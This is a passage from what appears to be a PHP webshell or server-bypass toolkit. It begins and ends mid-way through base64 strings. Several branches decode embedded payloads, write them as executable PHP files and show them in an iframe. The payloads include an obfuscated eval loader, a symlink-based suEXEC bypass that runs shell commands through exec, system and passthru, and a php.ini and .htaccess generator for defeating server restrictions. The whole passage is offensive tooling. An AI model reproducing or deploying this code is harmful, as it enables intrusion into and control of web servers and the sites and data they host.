cGVuLCAkaHRhY2Nlc3MpOw0KCWlmKCRod3JpdGUpew0KCQllY2hvICJbK10gaHRhY2Nlc3MgR2VuZXJhdGVkXG4iOw0KCX0gZWxzZSB7DQoJCWVjaG8gIlt+XSBDYW4ndCBHZW5lcmF0ZSBIdGFjY2Vzc1xuIjsNCgl9DQoJZmNsb3NlKCRob3Blbik7DQoJJGluaSA9IGZvcGVuKCJ4c2VjdXJpdHkvcGhwLmluaSIgLCJ3Iik7DQoJJHBocCA9IGZ3cml0ZSgkaW5pLCBiYXNlNjRfZGVjb2RlKCRwaHBpbmkpKTsNCgkJaWYoJHBocCl7DQoJCQllY2hvICJbK10gUEhQLklOSSBHZW5lcmF0ZWQiOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAiWy1dIENhbid0IEdlbmVyYXRlIFBIUC5JTkkiOw0KCQl9DQp9DQplY2hvICI8L3RleHRhcmVhPjxwcmU+PGNlbnRlcj4NClshXSBpZiB5b3UgZ290IFsgaW50ZXJuYWwgc2VydmVyIGVycm9yIF0gVGhhdHMgTWVhbiBCeXBhc3MgRG9lc24ndCBXb3JrIDopDQpDb2RlZCBCeSB4U2VjdXJpdHkgfCBIb21lcGFnZSA6IHNlYzRldmVyLkNvbQ0KPC9jZW50ZXI+PC9wcmU+IjsNCj8+';
  252.     $file = fopen("suphp.php" ,"w+");
  253.     $write = fwrite ($file ,base64_decode($suphp));
  254.     fclose($file);
  255.         chmod("suphp.php",0755);
  256.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=suphp.php width=75% height=65% frameborder=0></iframe>"; }
  257.        
  258.     elseif(isset($_GET['mni'])) {
  259.     $mni ='PD9waHAgLyogQ29kZWQgQnkgeFNlY3VyaXR5IHwgYjB4QGhvdG1haWwuY29tIHwgaXMtc2VjLmNvbSAqLyRPT08wMDAwMDA9dXJsZGVjb2RlKCclNjYlNjclMzYlNzMlNjIlNjUlNjglNzAlNzIlNjElMzQlNjMlNmYlNWYlNzQlNmUlNjQnKTskT09PMDAwME8wPSRPT08wMDAwMDB7NH0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7NX07JE9PTzAwMDBPMC49JE9PTzAwMDAwMHsyfS4kT09PMDAwMDAwezEwfS4kT09PMDAwMDAwezEzfS4kT09PMDAwMDAwezE2fTskT09PMDAwME8wLj0kT09PMDAwME8wezN9LiRPT08wMDAwMDB7MTF9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwTzB7N30uJE9PTzAwMDAwMHs1fTskT09PMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxMn0uJE9PTzAwMDAwMHs3fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTV9OyRPME8wMDBPMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezF9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHsxNH07JE8wTzAwME8wTz0kTzBPMDAwTzAwLiRPT08wMDAwMDB7MTF9OyRPME8wMDBPMDA9JE8wTzAwME8wMC4kT09PMDAwMDAwezN9OyRPME8wME9PMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezh9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezE2fTskT09PMDAwMDBPPSRPT08wMDAwMDB7M30uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezE0fS4kT09PMDAwMDAwezh9OyRPT08wTzBPMDA9X19GSUxFX187JE9PMDBPMDAwMD0weDdiYztldmFsKCRPT08wMDAwTzAoJ0pFOHdNREJQTUU4d01EMGtUMDlQTURBd1R6QXdLQ1JQVDA4d1R6QlBNREFzSjNKaUp5azdKRTh3VHpBd1QwOHdNQ2drVHpBd01FOHdUekF3TERCNE5HRmtLVHNrVDA4d01FOHdNRTh3UFNSUFQwOHdNREF3VHpBb0pFOVBUekF3TURBd1R5Z2tUekJQTURCUFR6QXdLQ1JQTURBd1R6QlBNREFzTUhneE4yTXBMQ2RGYm5SbGNubHZkWGRyYUZKSVdVdE9WMDlWVkVGaFFtSkRZMFJrUm1aSFowbHBTbXBNYkUxdFVIQlJjVk56Vm5aWWVGcDZNREV5TXpRMU5qYzRPU3N2UFNjc0owRkNRMFJGUmtkSVNVcExURTFPVDFCUlVsTlVWVlpYV0ZsYVlXSmpaR1ZtWjJocGFtdHNiVzV2Y0hGeWMzUjFkbmQ0ZVhvd01USXpORFUyTnpnNUt5OG5LU2s3WlhaaGJDZ2tUMDh3TUU4d01FOHdLVHM9JykpO3JldHVybjs/Pn5Ea3I5Tkhlbk5IZW5OSGUxemZ1a2dGTWFYZG95amNVSW1iMTlvVUF4eWIxOG1SdHdtd0o0TFQwOU5IcjhYVHpFWFJKd213SlhMVDA5TkhlRVhIcjhYaHRPTlQwOFhIZUVYSHI4UGtyOFhUekVYVDA4WEh0SUxUekVYSHI4WFR6RVhSdE9OVHpFWFR6RVhIZUVwUnRmeWRtT2xGbWx2ZmJmcUR5a3dCQXNLYTA5YWFyeWlXTWtlQzBPTE9NY3VjMGxwVU1wSGRyMXNBdW5PRmFZemFtY0NHeXA2SGVyWkh6VzFZakY0S1VTdk5VRlNrMHl0VzBPeU9MZndVQXBSVHIxS1Qxbk9BbFlBYWFjYkJ5bERDQmtqY29hTWMyaXBETXNTZEI1dkZ1eVpGM08xZm1mNEdiUFhIVHd6WWVBMll6STVoWjhtaFVMcEsyY2pkbzl6Y1VJTFR6RVhIcjhYVHpFWGhUc2xmTXlTaHRPTlR6RVhUekVYVHpFcEtYPT10TWFqRG84SXdJMGhOb1lsZG1PbEZqNFl0anhNZDNrc3dvMWxmb2l2Y2UwbUFyOVRhdEZJREJXOWsyd1hHdEYrZVdQOGNNOVZmdG5NQ0JZbE5VZkFDQml2ZEJybXd1WXBHTUE5a3p3bU5JMGhOdU9wZm94bE5MazVGb3l6RlpuZHdyMWxmb2l2Y3RuS2QzV0lEQjFYZG9hc2NCNTBjQldJYlVuOHdyazV3dWlUY0JZMUZNbDBHVFh2Zm9sMGRvQStlV1BrTnVZMEdCeGxOSTBodEJsVkZ1YTB3dVNZdElsSmQza0xjYnc2d3VZdmRvbEx3ZXlYR3RFakMyWWpDMllqS1gwaHRiMFl0SUxqQ2puNHd1U1l0SWxKZDNrTGNidzZ3b09pRjJpbGN0RXhGdVc3ZVdQa2YybExmb0k2d2VIMWtUU1l0SWw5ZVdQa050OXpmdWxTY1Q0WXRJTDhSMmN2ZG1XK2VXUDhGZTQ4Q2o0OGNNOVZmdG5NQ0JZbE5VZkFDQml2ZEJybXd1WXBHTUE5a3pBbU5MazVGb3l6RlpFOGNNOVZmdG5qZDJ4dkZqMG13MGNvSGVFWEh0RitUQmEwRG85THdyNXZmdEVZdE1sc0ZveGxkQmFWZm9hTE50OU1kMjUwTkpFamdqWHZjTTlWZmU0OFIydytOdDlYTmp4TWQyNTB3b2NpQzJBOWsxT2lEbzlzQ1VGSUYybDZjVDBtSEpGK1cyOXNkQnlWY3RudENiWWxZaldJS0pFOFIyY3ZkbVcrTm9jdmRtV0ljTXlqY1QwbWFveVBkMjFpa1puekRicGxOVUYwa3o0WXRJTDhEQjVYZmJXSWZ1bFhjVDBtZm9hNGZ0RklkTXlzY1QwbUMyOXNkQnlWY3RGSWZNeVNmQkE5azFMWk9qbmtXemxTY3JmWWZNWXVPbXBqSDJPcWtabnpEYnBsTlVGWll0RitOdDlNZDI1ME5qeE1kMjUwd29jaUMyQTlrMU9pRG85c0NVRklGMmw2Y1QwbUhKRitOdDlNZDI1ME5JMGh0VHhNZDI1MHdvY2lDMkE5azFPaURvOXNDVUZJRjJsNmNUMG1ZdEYrZVdQa05vbFZGdWEwd3VPNUZvQTlrM1kxQ00xcGZ0RklkTXlzY1QwbUYzT2lGbVdtd3VjaWR1YWxOVWZ5R29hamZiT2xrejQ4UjJjdmRtVytOb2taTkp3N3RNbE1odE9nQXI5VGF5U21GM09pRm1XbWJVTElHWHBsQzJpdnd0dzhmb2E0Zm95WmNCcklDMjlTRnowbVlUQW13dWt2ZjNIOWt6cjFrejRKS1hQTEMyOXNkQnlWY3RFOXd0T2dBcjlUYXlTbUMyOXNkQnlWY3RmZktYUExDbWxYQ2JZendlMElGM2x6Zm9hc2hva2lGMkEyWXk5TGNCWXZjb0FQa29ZdmRCMWlkTVdwaFRTaGNCWVBkWkVMQ21sWENiWXpLWHBsQzJpdnd0dzhSM09sR3VPaUZNYWlOSnc3dG0waGNCWVBkWkVKTnVFK05vY3ZkbVdJY015amNUMG1hTWFaY295VkNVRklGMmw2Y1QwbUhVRitoWjBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUxZHdyWXZkQjFpZE1XbUdKRVl0bDBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBxTnQ5TWQyNTBOalh2RmU0WXRqeFhOanhNZDI1MHdvY2lDMkE5azFjbEZNT2lkTXJtd3VZcEdNQTlrenJtTk1ZaWZ0RXZjYk9qUjNuaUYzWTNjdEU5d2V4TWQyNTB3b1l2ZG85Wk5VRmpPTENYSGVFWGt6NWNITENYVUFINWRvT3VUYmNqTzBjNkN6WUxEelh2Y005VmZlNDhDbXcrZVdwakNiV0lSMmEwQ1o5VkNCMWxjdDVqZDI1TXdlMElOb2N2ZG1XSUMyOVNkM3c5a1pZb09qRVhIZUVtTmxMWk9qbmtXemxTY3JmWWZNa3NPbU9EYTF5MUJUdzVmYXBtTlQwOFIyY3ZkbVcrTm9rWk5JMGhkdUhJUjNjaUZKOXNDQmxTd2UwSU5vY3ZkbVdJQzI5U2QzdzlrWllvT2pFWEhlRW1OTWt3VEJmSEgxcFBDMkw1ZnlsYmR1SDhSMmN2ZG1XK050OU1kMjUwTmpYdkZlNFl0anhYTmp4TWQyNTB3b2NpQzJBOWsxY2xGTU9pZE1ybXd1WXBHTUE5a3pybU5JMGhoWjBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlUwc1JVMHNSVTBzUlVTOFIyY3ZkbVcrZVdQOGNNOVZmdG5NQ0JZbE5VZkJjYmtMQ0I1aWtabnpEYnBsTlVGeGt6NDhDbXcrVzI5TGNCV0lXbUxJS0puNEEyYWpmYmtwZnVMSWdKbkpIdWlFRG85MGRCeXBkdDVqZDIwSWdKbjNmM0ZWRGJIc0YyYWpSTVl2ZFVFWXRtNDhDbXcrd3JmWmNCYTBGWkVad2VQSVRNOHNBYWtPQUpFc3dvd1hHZVh2Y005VmZlNDhSM0Urd2pTaEtYPT1hbFZuUlBJcQ==';
  260.     $file = fopen("mni.php" ,"w+");
  261.     $write = fwrite ($file ,base64_decode($mni));
  262.     fclose($file);
  263.         chmod("mni.php",0755);
  264.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=mni.php width=75% height=65% frameborder=0></iframe>"; }
  265.          
  266.        elseif(isset($_GET['suexec'])) {
  267.     $suexec ='PGh0bWw+IA0KPGJvZHkgYmdjb2xvcj0iMDAwMDAwMCI+IA0KPHRpdGxlPnN1RVhFQyBCeXBhc3M8L3RpdGxlPiANCjxjZW50ZXI+PGI+PGgyPjxmb250IGNvbG9yPSJyZWQiPiBzdUVYRUMgQnlwYXNzIFN5bWxpbmsgQnkgTWF1cml0YW5pYSBBdHRhY2tlciA8L2ZvbnQ+PC9icj48L2NlbnRlcj48L2I+PC9oMj4gDQo8Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0icmVkIj5zdUVYRUMgQnlwYXNzIEZpbGUgb3IgUGF0aDwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2g0PiANCjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly93d3cudHV0b3JpZWxzLXZpZGVvLmZyL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDExLzA4L2xvZ29fdHV0b3JpZWxfc3VwaHBfc2VjdXJpdGUucG5nIj48L2NlbnRlcj4NCjxjZW50ZXI+PGI+PGg0Pjxmb250IGNvbG9yPSJ3aGl0ZSI+Tm90ZTogRG9uJ3QgRm9yZ2V0IFRvIENobW9kIFRoZSBDdXJyZW50IHBhdGggdG8gMDc1NSBeX148L2ZvbnQ+PC9icj48L2NlbnRlcj48L2I+PC9oND4gDQo8L2h0bWw+IA0KDQo8P3BocCANCi8vQ29kZWQgQnkgTWF1cml0YW5pYSBBdHRhY2tlciANCi8vZm9ybSBkZWZpbmluZyANCnByaW50ICI8Zm9ybSBtZXRob2Q9cG9zdD4iOyANCnByaW50ICI8Y2VudGVyPjxmb250IGNvbG9yPWdyZWVuPiI7IA0KcHJpbnQgIjxiPkJ5cGFzcyA6PC9iPjxpbnB1dCBzaXplPTUwIG5hbWU9J0J5cGFzc2VuYXRpb24nIHZhbHVlPScnPiI7IA0KcHJpbnQgIjxicj4iOyANCnByaW50ICI8Yj5GaWxlbmFtZSA6PC9iPjxpbnB1dCBzaXplPTUwIG5hbWU9J25hbWUnIHZhbHVlPScnPiI7IA0KcHJpbnQgIjxicj4iOyANCnByaW50ICI8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1fYWN0IHZhbHVlPSdCeXBhc3MgXl9eJz4iOyANCnByaW50ICI8L2NlbnRlcj48L2ZvbnQ+IjsgDQokQnlwYXNzID0gJF9QT1NUWydCeXBhc3NlbmF0aW9uJ107IA0KJEJ5cGFzc25hbWUgPSAkX1BPU1RbJ25hbWUnXTsgDQo/PiANCg0KPD9waHAgDQovL2RlZmluaW5nIHZhcmlhYmxlcyANCiRkaXIgPSBkaXJuYW1lKCRfU0VSVkVSW1NDUklQVF9GSUxFTkFNRV0pLiIvc21sbmsiOyANCiRhY2MgPSAkZGlyLiIvLmh0YWNjZXNzIjsgDQokY21kID0gImxuIC1zIi5jaHIoMzIpLiRCeXBhc3MuY2hyKDMyKS4kc3ltOyANCiRzeW0gPSAkZGlyLiIvIi4kQnlwYXNzbmFtZTsgDQokaHRhY2Nlc3MgPSJPcHRpb25zICtGb2xsb3dTeW1MaW5rcyBcbiBBbGxvd092ZXJyaWRlIEFsbCBcbiBEaXJlY3RvcnlJbmRleCBzZWVlcy5odG1sIFxuIFJlbW92ZUhhbmRsZXIgLnBocCBcbiBBZGRUeXBlIGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSAucGhwIiA7DQogDQogaWYgKCFmaWxlX2V4aXN0cygkZGlyKSkgeyANCm1rZGlyICgkZGlyKTsgDQp9ICANCnNsZWVwKDEpOyANCmlmICghZmlsZV9leGlzdHMoJGFjYykpIHsgDQokaGFuZGxlID0gZm9wZW4oICIkYWNjIiAsICdhKycgKTsgDQpmcHV0cyggJGhhbmRsZSAsICAiJGh0YWNjZXNzIiApOyANCn0gIA0KPz4gDQoNCjw/cGhwIA0KLy9jaGVjayBtZXRob2QgDQppZiAoZnVuY3Rpb25fZXhpc3RzIChleGVjKSBPUiBmdW5jdGlvbl9leGlzdHMgKHNoZWxsX2V4ZWMpIE9SIGZ1bmN0aW9uX2V4aXN0cyAoc3lzdGVtKSBPUiBmdW5jdGlvbl9leGlzdHMgKHBhc3N0aHJ1KSkgeyANCiRjaGVjayA9IDE7IA0KfWVsc2V7IA0KJGNoZWNrID0gMDsgDQp9IA0KaWYoZnVuY3Rpb25fZXhpc3RzIChzeW1saW5rKSkgeyANCiRjaGVja3MgPSAxOyANCn1lbHNleyANCiRjaGVja3MgPSAwOyANCn0gDQo/PiANCg0KPD9waHAgDQovL2RlZmluZSBjb21tYW5kIGZ1bmN0aW9uIA0KJHJlc2F1bHQgPSAnJzsgIA0KZnVuY3Rpb24gY29tbWFuZCgkY21kZSkgeyANCiAgICBpZiAoIWVtcHR5KCRjbWRlKSkgIA0KIHsgIA0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7ICRyZXNhdWx0ID0gQGV4ZWMoJGNtZGUpOyB9ICANCmVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgJHJlc2F1bHQgPSBAc2hlbGxfZXhlYygkY21kZSk7IH0gIA0KZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7ICRyZXNhdWx0ID0gQHN5c3RlbSgkY21kZSk7IH0gIA0KZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgJHJlc2F1bHQgPSBAcGFzc3RocnUoJGNtZGUpOyB9ICANCiB9IA0KcmV0dXJuICRyZXNhdWx0OyANCn0gDQo/PiANCg0KPD9waHAgDQovL2V4ZWN1dGlvbiANCmlmICgkY2hlY2sgPT0xICYmICRjaGVja3MgPT0xKXsgY29tbWFuZCAoJGNtZCk7IH0gDQplbHNlaWYgKCRjaGVjayA9PTEgJiYgJGNoZWNrcyA9PTApeyBjb21tYW5kICgkY21kKTsgfSANCmVsc2VpZiAoJGNoZWNrID09MCAmJiAkY2hlY2tzID09MSkgeyBzeW1saW5rICgkQnlwYXNzLCRzeW0pOyB9IA0KZWxzZWlmICgkY2hlY2sgPT0wICYmICRjaGVja3MgPT0wKSAgDQp7ICANCnByaW50ICgiPGNlbnRlcj48Zm9udCBjb2xvcj1ncmVlbj48aDE+c2NyaXB0IGRvZXNudCB3b3JrIGZvciB0aGlzIHNlcnZlcjwvZm9udD48L2gxPjwvY2VudGVyPiIpOyAgDQp9IA0KPz4gDQo8P3BocCANCi8vaXMgc2FmZSBtb2RlIG9uID8gc3RhcnQgDQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSAgDQp7ICANCiRzYWZlPSI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IjsgDQp9ICANCmVsc2UgeyRzYWZlPSI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9IA0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGVwdXJwbGU+U0FGRSBNT0RFIElTIDo8L2ZvbnQ+PGI+JHNhZmU8L2I+PGJyPiI7IA0KLy9vcGVuIHNhZmUgbW9kZSBlbmQtLSANCj8+ICANCjw/cGhwIA0KLy9kaXNhYmxlIGZ1bmN0aW9uIHN0YXJ0IA0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGVwdXJwbGU+RGlzYWJsZSBmdW5jdGlvbnMgOjwvZm9udD4gPGI+IjsgDQppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+Ijt9IA0KLy9kaXNhYmxlIGZ1bmN0aW9uIGVuZC0tIA0KPz4=';
  268.     $file = fopen("suexec.php" ,"w+");
  269.     $write = fwrite ($file ,base64_decode($suexec));
  270.     fclose($file);
  271.         chmod("suexec.php",0755);
  272.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=suexec.php width=75% height=65% frameborder=0></iframe>"; }
  273.        
  274.        elseif(isset($_GET['wrdkiller'])) {
  275.     $wrdkiller ='PD9waHAgLyogQ29kZWQgQnkgeFNlY3VyaXR5IHwgYjB4QGhvdG1haWwuY29tIHwgaXMtc2VjLmNvbSAqLyRPT08wMDAwMDA9dXJsZGVjb2RlKCclNjYlNjclMzYlNzMlNjIlNjUlNjglNzAlNzIlNjElMzQlNjMlNmYlNWYlNzQlNmUlNjQnKTskT09PMDAwME8wPSRPT08wMDAwMDB7NH0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7NX07JE9PTzAwMDBPMC49JE9PTzAwMDAwMHsyfS4kT09PMDAwMDAwezEwfS4kT09PMDAwMDAwezEzfS4kT09PMDAwMDAwezE2fTskT09PMDAwME8wLj0kT09PMDAwME8wezN9LiRPT08wMDAwMDB7MTF9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwTzB7N30uJE9PTzAwMDAwMHs1fTskT09PMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxMn0uJE9PTzAwMDAwMHs3fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTV9OyRPME8wMDBPMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezF9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHsxNH07JE8wTzAwME8wTz0kTzBPMDAwTzAwLiRPT08wMDAwMDB7MTF9OyRPME8wMDBPMDA9JE8wTzAwME8wMC4kT09PMDAwMDAwezN9OyRPME8wME9PMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezh9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezE2fTskT09PMDAwMDBPPSRPT08wMDAwMDB7M30uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezE0fS4kT09PMDAwMDAwezh9OyRPT08wTzBPMDA9X19GSUxFX187JE9PMDBPMDAwMD0weGE4ZDQ7ZXZhbCgkT09PMDAwME8wKCdKRTh3TURCUE1FOHdNRDBrVDA5UE1EQXdUekF3S0NSUFQwOHdUekJQTURBc0ozSmlKeWs3SkU4d1R6QXdUMDh3TUNna1R6QXdNRTh3VHpBd0xEQjROR0ZsS1Rza1QwOHdNRTh3TUU4d1BTUlBUMDh3TURBd1R6QW9KRTlQVHpBd01EQXdUeWdrVHpCUE1EQlBUekF3S0NSUE1EQXdUekJQTURBc01IZ3hOMk1wTENkRmJuUmxjbmx2ZFhkcmFGSklXVXRPVjA5VlZFRmhRbUpEWTBSa1JtWkhaMGxwU21wTWJFMXRVSEJSY1ZOelZuWlllRnA2TURFeU16UTFOamM0T1NzdlBTY3NKMEZDUTBSRlJrZElTVXBMVEUxT1QxQlJVbE5VVlZaWFdGbGFZV0pqWkdWbVoyaHBhbXRzYlc1dmNIRnljM1IxZG5kNGVYb3dNVEl6TkRVMk56ZzVLeThuS1NrN1pYWmhiQ2drVDA4d01FOHdNRTh3S1RzPScpKTtyZXR1cm47Pz5+RGtyOU5IZW5OSGVuTkhlMXpmdWtnRk1hWGRveWpjVUltYjE5b1VBeHliMThtUnR3bXdKNExUMDlOSHI4WFR6RVhSSndtd0pYTFQwOU5IZUVYSHI4WGh0T05UMDhYSGVFWEhyOFBrcjhYVHpFWFQwOFhIdElMVHpFWEhyOFhUekVYUnRPTlR6RVhUekVYSGVFcFJ0ZnlkbU9sRm1sdmZiZnFEeWt3QkFzS2EwOWFhcnlpV01rZUMwT0xPTWN1YzBscFVNcEhkcjFzQXVuT0ZhWXphbWNDR3lwNkhlclpIelcxWWpGNEtVU3ZOVUZTazB5dFcwT3lPTGZ3VUFwUlRyMUtUMW5PQWxZQWFhY2JCeWxEQ0JramNvYU1jMmlwRE1zU2RCNXZGdXlaRjNPMWZtZjRHYlBYSFR3elllQTJZekk1aFo4bWhVTHBLMmNqZG85emNVSUxUekVYSHI4WFR6RVhoVHNsZk15U2h0T05UekVYVHpFWFR6RXBLWD09dEpPUGNCeUxjYndJTlVFSkFyZlBIb2tiZjJmRE8yeDVBeVlMRjJPd1VCNVdjem5SQXJmUGR5bGJBVXNyQUI4NENsZkJIeWxUV005TFV5azNUeWZCR29PYmRla1dBMk9yQ2p3MUh5cGJZVG5IYWJpUENNMUxIYWxiY294aEdBa1FDancxSHlwYllUbldBMk9TQ01MeEhCWTVDWnNyQUI4NENsZkJIeWxUV005TFV5azNUeWZCR29PYmRla1dBMk9yQ2p3MUh5cGJZVG5IYWx3MUMwZmFkTGx1VG1jSmRsa1NDTTVPS0FQekFNeGxVeXkyQ0FpVWZva3JGMmZjSE1pUEMyNUtkb09ySFRZaWF6YXFDallMR0x4QU9ibEthcmxWQW9GWFUxbndBbW5MTzNpU0FvbFljMUNaS2JsRFVyazVCbGlLR0xseWZ1bkpPM2lTQzJsdEhMMVRXamlrT0FQMVVBaVBheXBiVGp5amRCWFhjYU8zZk1PdWRlbkpPMUFxT3l5dktyWFpEb3hjYTFycU95eXZLeWxzS0JzbEEwa3BCamtLZk1rdUtibFdBMllRVGJwWUdMMTZUYnBoR2pPS1cycDRmMGx1T21ZaWEyTzFBeVlMRGxwYllUbkRCcmxWVUFmVUZvWVFIbzVKVXlrNVVtUDBLeWxRWWVpRGRUbDFjcll0ZGFsYlRNeFdBMk9hQmFmUGZNa2JPQjVrVXI1WGNCMWFLQXA2QkI1a08wNTJDTEY1R2FuVEMycFVEMXB1QU1zRE8wcDZZb3BNY3puUkFySDVkQndaWVRuV0RtaXNDancxSHJsdUJNaWNIbEE1VWp5VURveXVLYk9jQTJZbUN6a1NZbHBBSG81S0RCWW1CVHc1RjJ3elVUbGhHQTEzVEFPY0hMOUFEMjVXZG9PMkMyMVVmMllzYW1wakdtZjJCTTA1ZkJPclllaURkVGwxY3JZdGRhbGJUTXhXQTJPYUJhZlBmTWtiT0I1a1VyNVhjQjFhS0FwNkJCNWtPMDUyQ0xGNUdhblRDMnBVRDFwdUFNc0RPMHA2WW9mckFibkhDYWY0RjFwQ1VCZkxETGFtY01sWUtyWFpCbWNKZGxycUFySDVEYW5RZjNjak9lT0tXMnA0ZjBsdU9tWWlhMk8xQXlZTERscGJZVG5EQnJsVlVBZlVGb1lRSG81SlV5azVVbVAwS3lwc0tiYUxXMGtzQmFmS2R5blRjeWZEQnJwcUJhRjFEcnA1V21waUJ1blNBeVlqR3JwNVdNcEpIbWkyQzJQWGRMTFhCTGZVRDFwdUFNbGpoMWY1VEJmckFibkFCbGY0ZHlMekFCZkFIMHdYQ2FGNWZCWTVXQnBDQTByNFRla0RmTWtWQVVzV1d6bDNBb0ZYVTFud1dCZmNhM2lYQmp3MEtBUFpUTXhKZGxrU0MybGpjMXB1ZHVsV0EyT3pjcmlrZGxuUUdvMUpIakFYVUFmRER5TFphVGxoSGFwU0MyMVVEb2tzT0I1a1VyNVhjQjFhS0FwNlVCNWtPMDUyQ0xGNUdhblRDMnBVRDFwdUFNc0RPMHA2WW9wckFCODRCYVl0ZDJZc2FNMVdBMkh2Y0FpS2R5bDZIVFlqVzJZbUN6WVVZQmt1YVRsaEgxa1NjQWlPZnlwdWFNcEpIMHBQY3JmU2ZNa1FkMmZKZFRsMUJsWWpoMW51Qm1jSmRseW1CVHc1RjJ3elVUbGhHQTEzVEFPY0hMOUFEMjVXY3puUmFqdzVHYXB3V21sREJyNTZBMUExTzFPNmYzY0RkVGwxY3JXMEtyWFpPVXNrVWVPbUFyZnljMnl3VU14RERqblZBZVlQR2xwYlRUbGpVb09xVW1sdEdNT3dkdVlEYWVuVmNyZkJZb09lSEJzRGEwNTJDMjFvSG95YktiYU5EQWsxQ2p3MWRycDZZcjVlRG1pc0NqdzFIcmx1VG1jSk96bDVBeVlqREwxcldUa0tETVMxVW1QMU9veXVPbWFESGxjT0JhaUtHTVdaS2JsRE91ZjJCTTA1ZkJPclllaUhITEFxVUFJMGMxbmVLQjFKSGpBWEFvRlhVMW51Qm1jSmRseW1CTTFvRGxwQUhvNUJkYWM1Qkxmb2ZhbFRDMmZqSE1YMkJsV1hkTDFwQzJmY0hqbHpDallrS0FwNVRiZllPeUxaVDFPcWRsbm1IcnNXTzBhbUNBaWhkeXBRSG81V0gyaTZCbGZZS0J5YllCc0RCb2ZWVUFpS0hvYWJHb3hXQTJXWEJsaVBIcnhiQU14Y0hqbDVCYWlVRm93WlllY2tPemEyQ00xYWRsblFHbzFKSGpBWFVBZktmTWt1S2JsV0EyWVFUQU9uSEw1UUR6YWhHak9LVzJzS2QxbGJZQjVEYUJ4MUJMZkJZeW5lS0IxSkhqQVhBb3AzZmxsQVllaUhIbHAyQ001T2gxbnVCbWNKZGx5bUJNMW9EbHBBSG81QmRhYzVCTGZvZmFsVEMyZmpITVgyQmxXWGRMMXBDMmZjSGpsekNqWWtLQXA1VExmVUQxcHVBTXNjZGxucFdKc3JBQjg0QmFZdGQyWXNhTTFXQTJIdmNBaUtkeWw2SGJuSmRhcFNCVFlPZExsd1RqbmxhM2lTQXlZTEh5cENEZW5IYTFrU0JUdzVHYWxDQW1uSkhqVzJVQUYxZk1rc2FCNVdEbWlzQ2p3MUhybHVUbWNKT3psNUF5WWpETDFyV1RrS0RNUzFVbVAwVExZcWR1YURkYWNRY3Jhb0Qya2JkdWFXV3psc0NqdzFIeW5RZjNjY2FlT21VYnAzZmxwc0tiYUxPZVc0VGVZbmhadzd0Sk9NZDI5MGNid0lOVUVKQXJpbmMxbGJHdW5ESGpXNVVqa0tkb2tWQU14akRCWW1CTGZTR2FuVGN1WUxVcmxWQW9wNGRCd1pZVG5rTzFwUEJUa2FLQVB4Qk14amRha1BDTTF5ZExsd1RtbmxkYUE1VW1weWRMbHVUbWNKT3psNUF5WWpEbGtxQkxmVUQxcHVVbVAxQ0xsNVdBNWVkQWNwQ2pZQkhybHlUbWNETzFjNVVBWUtjeW5lS0IxSkhqQVhBb3AzZk1ZcllyNWVEbWkzVUFmb0YyeWJjdWFXQTJPUUJsRjFIeXBDVUI1a08xa1hDMlBYZE1rd0FtbGhHalc0Qk0wNWZCT2VXTTFjYTA1U0F5WUxhMXBDVU1zY2F6YVBVbWx0R015Q0ZveFdBMlk0VW1sdERNd1pHdWNqRGpuVlVU